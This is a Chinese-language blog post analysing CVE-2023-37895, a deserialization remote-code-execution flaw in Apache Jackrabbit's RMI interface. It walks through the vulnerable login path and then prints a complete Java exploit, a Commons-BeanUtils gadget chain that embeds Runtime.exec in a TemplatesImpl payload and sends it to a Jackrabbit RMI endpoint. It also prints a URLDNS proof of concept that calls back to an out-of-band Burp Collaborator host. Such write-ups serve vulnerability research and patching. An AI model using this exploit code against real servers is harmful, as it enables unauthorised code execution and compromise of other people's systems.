Apache Jackrabbit反序列化漏洞分析(CVE-2023-37895)
漏洞简述:
Apache Jackrabbit是Apache公司的一个内容存储库。
Apache Jackrabbit Webapp/Standalone存在代码问题漏洞,该漏洞源于组件commons-beanutils存在远程代码执行(RCE)漏洞。
受影响的产品和版本:Apache Jackrabbit Webapp/Standalone 2.20.10及之前版本,2.21.17及之前版本。
漏洞分析:
首先通过RemoteBindingServlet的getRemoteRepository()
获取Repository对象,然后转化为Stub代理对象返回给Response。跟进getRemoteRepository()
这里调用getRemoteAdapterFactory()
获取RemoteAdpterFactory
对象。默认是ServerAdapterFactory()
然后调用ServerAdapterFactory.getRemoteRepository
方法获取Repository对象。
当客户端获取到Repository对象后,可以调用Repository的login
方法,跟进到ClientRepository的实现类:
里面又会调另外一个login()
(ClientRepository):
最后通过RMI讲客户端的Credentials
类传输到服务端,其中用的是RMI底层的JRMP协议,将客户端序列化后,把序列化的数据传输到服务端在反序列化(上篇RMI中的C和S的通信过程)。如果我们传入一个恶意的Credentials
对象,则会执行相关的恶意代码。(ServerRepository.login):
跟进Credentials
:
发现他不仅继承了Serializable
还有很多实现类,我们跟进SimpleCredentials
:
发现attributes属性是Map而且可以存储任意Object类型对象。我们通过setAttribute()
方法将构造的恶意PriorityQueue
对象存在到这个AttributesMap
中。
当反序列化包含恶意PriorityQueue
的SimpleCredentials
对象时,会递归反序列化它的所有属性,其中就包含了attributes这个Map,反序列化attributes时,也会反序列化其中存放的PriorityQueue
对象,这样就会触发PriorityQueue
对象中的反序列化逻辑,导致远程代码执行。
POC和EXP
exp思路:
该项目包含了Commons BeanUtils组件,可利用CB链构造恶意Credentials对象。
exp_demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.beanutils.BeanComparator; import org.apache.jackrabbit.rmi.repository.URLRemoteRepository; import javax.jcr.Repository; import javax.jcr.SimpleCredentials; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class CommonsBeanutils1 { public static void setFieldValue(Object obj, String Name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(Name); field.setAccessible(true); field.set(obj, value); }
public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } }
public static void main(String[] args) throws Exception {
byte[] code = getTemplatesImpl("calc"); byte[][] codes = {code}; TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes",codes); setFieldValue(obj, "_name", "aaaa"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator( null,String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> payload = new PriorityQueue<Object>(2,comparator); payload.add("1"); payload.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(payload, "queue", new Object[]{obj,obj});
SimpleCredentials exp = new SimpleCredentials("admin","admin".toCharArray()); exp.setAttribute( "admin111",payload); Repository repository = new URLRemoteRepository("http://localhost:8080/rmi"); repository.login(exp);
} }
|
复现:
poc思路:
因为Runtime的exec没有回显,那么这里有两种思路:
- 因为用的是RMI,RMI底层是JRMP,可以利用ysoserial中JRMP让服务端回连。
- 因为利用链中有HashMap类型的attributes,可以利用URLDNS这条链,让服务器回连。
poc_demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import javax.jcr.Repository; import javax.jcr.SimpleCredentials; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class Main { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://6nueyl0q7a2vwl21uub3t1a4wv2lqa.burpcollaborator.net"); Class clas = Class.forName("java.net.URL"); Field field = clas.getDeclaredField("hashCode"); field.setAccessible(true); field.set(url,123); map.put(url,"2333"); field.set(url,-1);
try { Object payload = map;
SimpleCredentials exp = new SimpleCredentials("admin","admin".toCharArray()); exp.setAttribute("admin",payload); Repository repository = new URLRemoteRepository("http://localhost:8080/rmi"); repository.login(exp); }catch (Exception e){ e.printStackTrace(); } }
|
复现: